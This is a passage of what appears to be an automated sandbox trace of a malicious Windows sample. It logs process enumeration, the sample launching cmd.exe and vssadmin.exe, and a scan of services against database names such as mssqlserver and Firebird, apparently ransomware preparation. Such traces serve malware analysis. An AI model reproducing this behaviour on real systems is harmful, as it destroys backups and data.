(in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.248] lstrlenW (lpString="svchost.exe") returned 11 [0057.248] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0057.248] lstrlenW (lpString="dwm.exe") returned 7 [0057.248] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0057.249] lstrlenW (lpString="explorer.exe") returned 12 [0057.249] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0057.250] lstrlenW (lpString="spoolsv.exe") returned 11 [0057.250] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.250] lstrlenW (lpString="taskhost.exe") returned 12 [0057.250] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.251] lstrlenW (lpString="svchost.exe") returned 11 [0057.251] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0057.252] lstrlenW (lpString="taskeng.exe") returned 11 [0057.252] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.252] lstrlenW (lpString="taskhost.exe") returned 12 [0057.253] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0057.253] lstrlenW (lpString="chem venues.exe") returned 15 [0057.253] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0057.254] lstrlenW (lpString="month.exe") returned 9 [0057.254] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0057.254] lstrlenW (lpString="glasgow.exe") returned 11 [0057.254] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0057.255] lstrlenW (lpString="rubber.exe") returned 10 [0057.255] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0057.256] lstrlenW (lpString="petroleum.exe") returned 13 [0057.256] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0057.256] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0057.256] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0057.257] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0057.257] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0057.258] lstrlenW (lpString="batman_oliver.exe") returned 17 [0057.258] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0057.258] lstrlenW (lpString="formation.exe") returned 13 [0057.258] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0057.259] lstrlenW (lpString="whole.exe") returned 9 [0057.259] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0057.260] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0057.260] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0057.260] lstrlenW (lpString="disorder.exe") returned 12 [0057.260] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0057.261] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0057.261] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0057.262] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0057.262] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0057.262] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0057.262] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0057.263] lstrlenW (lpString="perspective.exe") returned 15 [0057.263] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0057.264] lstrlenW (lpString="demand-site.exe") returned 15 [0057.264] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0057.264] lstrlenW (lpString="attachment.exe") returned 14 [0057.264] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0057.265] lstrlenW (lpString="valid-permit.exe") returned 16 [0057.265] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0057.266] lstrlenW (lpString="knights.exe") returned 11 [0057.266] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0057.266] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0057.266] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0057.267] lstrlenW (lpString="ohbdap.exe") returned 10 [0057.267] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0057.308] lstrlenW (lpString="cmd.exe") returned 7 [0057.308] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0057.309] lstrlenW (lpString="conhost.exe") returned 11 [0057.309] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0057.310] lstrlenW (lpString="vssadmin.exe") returned 12 [0057.310] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0057.311] lstrlenW (lpString="VSSVC.exe") returned 9 [0057.311] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.311] lstrlenW (lpString="svchost.exe") returned 11 [0057.311] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0057.312] CloseHandle (hObject=0x204) returned 1 [0057.312] Sleep (dwMilliseconds=0x1f4) [0058.594] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fb20 [0058.596] EnumServicesStatusExW (in: hSCManager=0x52fb20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0058.599] GetLastError () returned 0xea [0058.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x5a5d28 [0058.601] EnumServicesStatusExW (in: hSCManager=0x52fb20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a5d28, cbBufSize=0x12c6, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a5d28, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0058.614] CloseServiceHandle (hSCObject=0x52fb20) returned 1 [0058.614] lstrlenW (lpString="Appinfo") returned 7 [0058.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0058.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0058.616] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0058.617] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0058.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0058.617] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0058.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0058.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0058.617] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0058.617] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0058.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0058.618] lstrlenW (lpString="AudioSrv") returned 8 [0058.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0058.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0058.618] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0058.618] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0058.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0058.619] lstrlenW (lpString="BFE") returned 3 [0058.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0058.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0058.620] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0058.620] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0058.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0058.621] lstrlenW (lpString="CryptSvc") returned 8 [0058.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0058.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0058.621] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0058.621] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0058.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0058.621] lstrlenW (lpString="CscService") returned 10 [0058.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0058.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0058.622] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0058.622] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0058.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0058.623] lstrlenW (lpString="DcomLaunch") returned 10 [0058.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0058.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0058.624] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0058.624] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0058.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0058.624] lstrlenW (lpString="Dhcp") returned 4 [0058.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0058.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0058.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0058.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0058.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0058.624] lstrlenW (lpString="Dnscache") returned 8 [0058.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0058.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0058.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0058.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0058.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0058.626] lstrlenW (lpString="DPS") returned 3 [0058.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0058.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0058.626] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0058.626] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0058.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0058.627] lstrlenW (lpString="eventlog") returned 8 [0058.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0058.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0058.627] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0058.627] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0058.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0058.627] lstrlenW (lpString="EventSystem") returned 11 [0058.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0058.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0058.627] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0058.627] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0058.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0058.627] lstrlenW (lpString="gpsvc") returned 5 [0058.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0058.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0058.627] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0058.627] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0058.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0058.627] lstrlenW (lpString="iphlpsvc") returned 8 [0058.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0058.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0058.627] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0058.627] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0058.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0058.627] lstrlenW (lpString="LanmanServer") returned 12 [0058.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0058.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0058.627] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0058.627] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0058.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0058.627] lstrlenW (lpString="LanmanWorkstation") returned 17 [0058.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0058.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0058.628] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0058.628] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0058.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0058.628] lstrlenW (lpString="lmhosts") returned 7 [0058.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0058.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0058.628] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0058.628] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0058.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0058.628] lstrlenW (lpString="MMCSS") returned 5 [0058.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0058.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0058.628] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0058.628] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0058.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0058.628] lstrlenW (lpString="MpsSvc") returned 6 [0058.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0058.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0058.628] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0058.628] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0058.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0058.628] lstrlenW (lpString="Netman") returned 6 [0058.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0058.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0058.628] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0058.628] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0058.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0058.628] lstrlenW (lpString="netprofm") returned 8 [0058.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0058.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0058.628] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0058.629] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0058.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0058.629] lstrlenW (lpString="NlaSvc") returned 6 [0058.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0058.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0058.629] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0058.629] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0058.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0058.629] lstrlenW (lpString="nsi") returned 3 [0058.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0058.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0058.629] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0058.629] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0058.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0058.629] lstrlenW (lpString="PcaSvc") returned 6 [0058.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0058.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0058.629] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0058.629] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0058.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0058.629] lstrlenW (lpString="PlugPlay") returned 8 [0058.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0058.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0058.629] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0058.629] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0058.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0058.629] lstrlenW (lpString="Power") returned 5 [0058.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0058.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0058.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0058.629] lstrcmpiW 